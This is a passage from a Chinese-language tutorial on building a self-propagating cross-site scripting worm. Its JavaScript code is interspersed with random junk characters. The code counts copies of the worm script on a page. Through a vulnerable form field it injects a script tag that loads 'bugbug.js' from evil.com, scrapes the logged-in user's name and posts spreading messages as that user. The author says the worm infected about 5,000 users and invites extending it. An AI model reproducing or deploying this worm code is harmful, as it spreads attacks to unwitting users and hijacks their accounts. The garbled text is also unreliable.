+ l8 E- d" V) F Q6 ]6 x) R7 Q' G7 W7 C& z+ c
var id=0;var result;$ ^2 n( J* j) g
1 }- C0 p: K* v0 ^" I$ q
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.- U7 N6 } _! U! L
' W1 @, E& E; R7 V! a5 ]while ((result = patt.exec(resource)) != null) {1 M# }$ L$ k6 B7 V
A5 q* L. ?7 ^( C6 \, d5 \+ P$ ~id++;
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}
# p( k0 j# P4 A* K复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
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4 m+ u+ m; K- \3 Y, |no=resource.search(/my name is/);
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.8 s+ M# v8 v) m; U* j' f) [, v; n
+ ^' o+ ~1 A, o. Ovar post="wd="+wd;
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3 f% j9 w, C6 j3 I1 ~. a3 a/ CxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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. e# Q* w5 X( g. W: P: O6 M( }1 U' HxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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$ |- a% J# i1 X. W1 BxmlHttpReq.setRequestHeader("content-length",post.length);
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# ~. {8 v3 I0 t5 K- ExmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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) @$ _: E4 l: h' W m% axmlHttpReq.send(post);7 y- U7 R( _% A" [- E/ \ o( y7 H A2 \
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{0 s5 Y9 Z' B7 K1 W" r% m
4 g6 L# O' t6 M# p) ~var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得./ L- b0 h8 z7 h0 H! e8 |% @7 X
2 ]- m' P; T% @# B- N* `var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取." G2 V7 |$ {( a9 U
4 i8 R7 Q4 E R& cvar post="wd="+wd;' @) Z: W- Y; i: X5 Z% \
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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; W5 u2 @: a/ O* LxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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9 ?) I- c3 a3 DxmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");% Z$ \8 O! n8 r3 P( S y
8 J B; u' k- B5 `xmlHttpReq.send(post); //把传播的信息 POST出去." ]6 E! a/ n4 v# g
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6 C# k8 ^& Y2 e! U5 j7 M% A, E复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.. M! i- e3 ~& o3 z% U) N6 Y# C
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
7 z! U" m. T6 d" P操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因./ [5 S) V: N+ K7 l, |5 C
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本文引用文档资料:6 E! z4 |( }3 Q
3 s/ C) |' ?9 f. n2 a2 I5 E. g"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
( Q, p* |" j+ u7 ~; e* m. cOther XmlHttpRequest tricks (Amit Klein, January 2003) T: _6 o: t _# ?
"Cross Site Tracing" (Jeremiah Grossman, January 2003)9 a+ f* D1 c& o" \7 L9 B5 i
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog i8 @' s# B' y) p% p( `# n1 z
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